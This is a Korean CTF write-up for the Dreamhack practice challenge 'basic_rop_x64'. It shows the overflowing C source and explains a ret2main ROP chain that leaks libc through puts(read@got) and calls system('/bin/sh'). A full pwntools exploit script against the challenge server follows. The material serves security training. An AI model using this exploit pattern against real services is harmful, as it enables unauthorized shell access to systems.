basic_rop_x64
이 문제는 서버에서 작동하고 있는 서비스(basic_rop_x64)의 바이너리와 소스 코드가 주어집니다.
Return Oriented Programming 공격 기법을 통해 셸을 획득한 후, “flag” 파일을 읽으세요.
“flag” 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{…} 입니다.
# 문제 분석
- 소스 코드
- main 함수에서 read 함수와 write 함수를 사용함
- 둘 중 하나의 GOT를 읽어 libc.so.6가 매핑된 영역의 주소를 구하고, 이를 통해 system 함수의 주소를 얻을 수 있을 것
- 데이터를 읽어들일 수 있는 함수는 read 함수이며 이를 통해 system 함수의 주소를 구하게 된다면 이미 ROP 페이로드가 전송된 이후이므로 다시 main 함수로 돌아가야 할 것
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
- Checksec
- NX enabled
- 카나리 X
# Exploit
- 과정
- read의 plt와 got 그리고 puts의 plt를 읽어 익스플로잇에 활용할 것임
- puts 함수가 plt에 정의되어 있고 이는 인자를 하나만 필요로 하기 때문에 페이로드를 간편하게 구성할 수 있을 것
- 이때 puts는 pop rdi; ret 가젯을 필요로 함
- main 함수로 다시 돌아가는 ret2main을 위해 main 함수의 시작주소(0x4007ba)를 찾음
- read 함수 주소를 읽기 위해 puts 함수를 활용할 것
- main 함수 내의 코드가 실행되면서 write(1, buf, sizeof(buf))를 통해 입력한 값이 먼저 출력되게 한 후 main 함수의 ret을 pop rdi; ret 가젯으로 조작한다면 우리가 원하는대로 read_got를 출력해볼 수 있을 것임
- 이때 main 함수 내의 buf의 크기는 0x40임을 확인할 수 있음
- 입력 값을 buf의 크기( 0x40) + rbp(0x8) 만큼 준다면 ret을 조작할 수 있음
- 다음과 같은 페이로드 작성 시 read 함수의 주소를 구하고 system 함수의 주소도 구할 수 있음
payload = b"A"*0x48
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt)
payload += p64(main)
p.send(payload)
p.recvuntil('A'*0x40) # write 부분 실행 후
read = u64(p.recv(6) + b'\x00'*2) # main에서 조작한 가젯으로 이동하여 puts(read@got) 실행
lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"]
- 다음 명령어를 통해 libc.so.6 내에 존재하는 libc base로부터 "/bin/sh" 문자열까지의 offset을 구할 수 있음
- "/bin/sh" 문자열과 system 함수의 주소를 통해 ret2main 기법을 활용하여 다음과 같은 새로운 rop chain을 구성할 수 있음
binsh = lb + 0x18cd57
payload = b"A"*0x48
payload += p64(pop_rdi)
payload += p64(binish)
payload += p64(system)
p.send(payload)
- Exploit Code
from pwn import *
def slog(name, addr): return success(": ".join([name, hex(addr)]))
p = remote("host3.dreamhack.games", 24346)
e = ELF("./basic_rop_x64")
libc = ELF("./libc.so.6")
read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
pop_rdi = 0x0000000000400883
main = 0x4007ba
payload = b"A"*0x48
payload += p64(pop_rdi) + p64(read_got)
payload += p64(puts_plt)
payload += p64(main)
p.send(payload)
p.recvuntil('A'*0x40)
read = u64(p.recv(6) + b'\x00'*2)
lb = read - libc.symbols["read"]
system = lb + libc.symbols["system"]
binsh = lb + 0x18cd57
slog("libc base",lb)
slog("read", read)
slog("system",system)
slog("binsh",binsh)
payload = b"A"*0x48
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)
p.send(payload)
p.interactive()
# 실행결과
'War Game & CTF > Dreamhack' 카테고리의 다른 글
[Dreamhack] file-download-1 (0) | 2023.02.08 |
---|---|
[Dreamhack] basic_rop_x86 (4) | 2022.09.24 |
[Dreamhack] out_of_bound (0) | 2022.09.15 |
[Dreamhack] Return Oriented Programming (0) | 2022.09.14 |
[Dreamhack] ssp_001 (0) | 2022.09.13 |